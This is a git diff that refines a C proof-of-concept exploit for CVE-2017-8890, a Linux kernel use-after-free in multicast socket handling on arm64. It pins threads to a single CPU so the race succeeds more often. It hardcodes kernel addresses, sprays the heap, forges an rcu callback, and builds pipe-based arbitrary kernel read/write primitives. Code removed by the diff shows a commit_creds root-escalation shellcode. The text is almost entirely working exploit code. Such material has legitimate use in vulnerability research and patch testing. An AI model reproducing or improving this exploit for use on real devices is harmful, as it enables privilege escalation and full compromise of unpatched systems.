diff --git a/CVE-2017-8890_PoC.c b/CVE-2017-8890_PoC.c
index 5ef8395f7dbc6dfb9555e2328db853f4ea5249c0..1c083457bb682f92ba16b0b0aaa61ec228c6cde9 100644
--- a/CVE-2017-8890_PoC.c
+++ b/CVE-2017-8890_PoC.c
@@ -1,3 +1,6 @@
+#define _GNU_SOURCE
+
+#include <sched.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/select.h>
@@ -20,7 +23,8 @@
 #define SPRAY_SIZE 250
 
 #define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
-#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; //alternatively 0xffffffc00050f550
+#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550;
+
 /*(gdb) disassemble /s kernel_sock_ioctl
 Dump of assembler code for function kernel_sock_ioctl:
 ./arch/arm64/include/asm/thread_info.h:
@@ -60,7 +64,8 @@ volatile int server_finish = 0;
 volatile int client_finish = 0;
 volatile int set_fake_next_rcu_init = 0;
 volatile int set_fake_next_rcu_finish = 0;
-//volatile int shellcode_return = 0;
+volatile int cpuid = 0;
+cpu_set_t mask;
 int sockfd[SPRAY_SIZE];
 char *fake_next_rcu_memory;
 
@@ -123,27 +128,27 @@ struct proto_ops {
 
 volatile struct ip_mc_socklist *fake_next_rcu;
 
-/*int (*printk)(const char *, ...) = (int (*)(const char *, ...))0xffffffc000141abc;
-int (*commit_creds)(void *) = (int (*)(void *))0xffffffc0000d1310;
-void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffc0000d1888;
-
-void shellcode(void *tmp) {
-    printk("Shellcode executing\n");
+void bind_on_cpu(int cpuid) {
+    int i, now_cpuid = -1;
+    cpu_set_t get;
+    CPU_ZERO(&mask);
+    CPU_SET(cpuid, &mask);
 
-    commit_creds(prepare_kernel_cred(NULL));
+    while (cpuid != now_cpuid) {
+        sched_setaffinity(0, sizeof(mask), &mask);
+        now_cpuid = sched_getcpu();
+    }
 
-    shellcode_return = 1337;
     return;
-}*/
+}
 
 void *set_fake_next_rcu() {
-    //printf("[set_fake_next_rcu] shellcode address: 0x%016x\n", (uint64_t)&shellcode);
+    bind_on_cpu(cpuid);
 
-    printf("0x%02x 0x%02x\n", sizeof(struct socket), sizeof(struct proto_ops));
-
-    fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); // that is a little bit more space then needed to be on the safe side
-                                                                                                                             // fake_next_rcu and fake_socket overlap by 16 bytes and the start
-                                                                                                                             // offset is a max of 0xff and not 0x100
+    // that is a little bit more space then needed to be on the safe side
+    // fake_next_rcu and fake_socket overlap by 16 bytes and the start
+    // offset is a max of 0xff and not 0x100
+    fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100);
     fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);
     struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
     fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
@@ -152,7 +157,6 @@ void *set_fake_next_rcu() {
     set_fake_next_rcu_init = 1;
 
     while(!server_finish) {
-        //fake_next_rcu->rcu.func = (void (*))&shellcode;
         fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
     }
 
@@ -167,16 +171,22 @@ int read_at_address_pipe(void *address, void *buf, size_t len) {
     int ret = 1;
     int pipes[2];
 
-    if (pipe(pipes))
+    if (pipe(pipes)) {
+        perror("read_at_address_pipe pipe failed");
         return 1;
+    }
 
-    if (write(pipes[1], address, len) != len)
+    if (write(pipes[1], address, len) == -1) {
+        perror("read_at_address_pipe write failed");
         goto end;
-    if (read(pipes[0], buf, len) != len)
+    }
+    if (read(pipes[0], buf, len) == -1) {
+        perror("read_at_address_pipe read failed");
         goto end;
+    }
 
     ret = 0;
-    end:
+end:
     close(pipes[1]);
     close(pipes[0]);
     return ret;
@@ -186,16 +196,22 @@ int write_at_address_pipe(void *address, void *buf, size_t len) {
     int ret = 1;
     int pipes[2];
 
-    if (pipe(pipes))
+    if (pipe(pipes)) {
+        perror("write_at_address_pipe pipe failed");
         return 1;
+    }
 
-    if (write(pipes[1], buf, len) != len)
+    if (write(pipes[1], buf, len) != len) {
+        perror("write_at_address_pipe write failed");
         goto end;
-    if (read(pipes[0], address, len) != len)
+    }
+    if (read(pipes[0], address, len) != len) {
+        perror("write_at_address_pipe read failed");
         goto end;
+    }
 
     ret = 0;
-    end:
+end:
     close(pipes[1]);
     close(pipes[0]);
     return ret;
@@ -253,6 +269,8 @@ void heap_spray_finalize() {
 }
 
 void *server(void *arg) {
+    bind_on_cpu(cpuid);
+
     struct sockaddr_in server_addr;
     bzero(&server_addr, sizeof(server_addr));
     server_addr.sin_family = AF_INET;
@@ -307,15 +325,11 @@ void *server(void *arg) {
     printf("[Server] Close server_socket\n");
     close(server_socket);
 
-    //sleep(5);
-
-    //printf("[Server] Shellcode return: %d\n", shellcode_return);
-
     printf("Exploit complete, let's try arbitrary write.\n");
-    char tester[8] = {};
-    if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) {
-        perror("Turn UAF to arbitrary read/write failed");
-        //while(1) {}
+    char tester[8] = {0};
+    while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) {
+        printf("AAA\n");
+        sleep(1);
     }
     printf("Turn UAF to arbitrary read/write succeeded.\n");
 
@@ -324,6 +338,8 @@ void *server(void *arg) {
 }
 
 void *client(void *arg) {
+    bind_on_cpu(cpuid);
+
     struct sockaddr_in client_addr;
     bzero(&client_addr, sizeof(client_addr));
     client_addr.sin_family = AF_INET;
@@ -368,6 +384,9 @@ void *client(void *arg) {
 }
 
 int main(int argc, char *argv[]) {
+    cpuid = sched_getcpu();
+    bind_on_cpu(cpuid);
+
     heap_spray_init();
 
     pthread_t id_server, id_client, id_set_fake_next_rcu;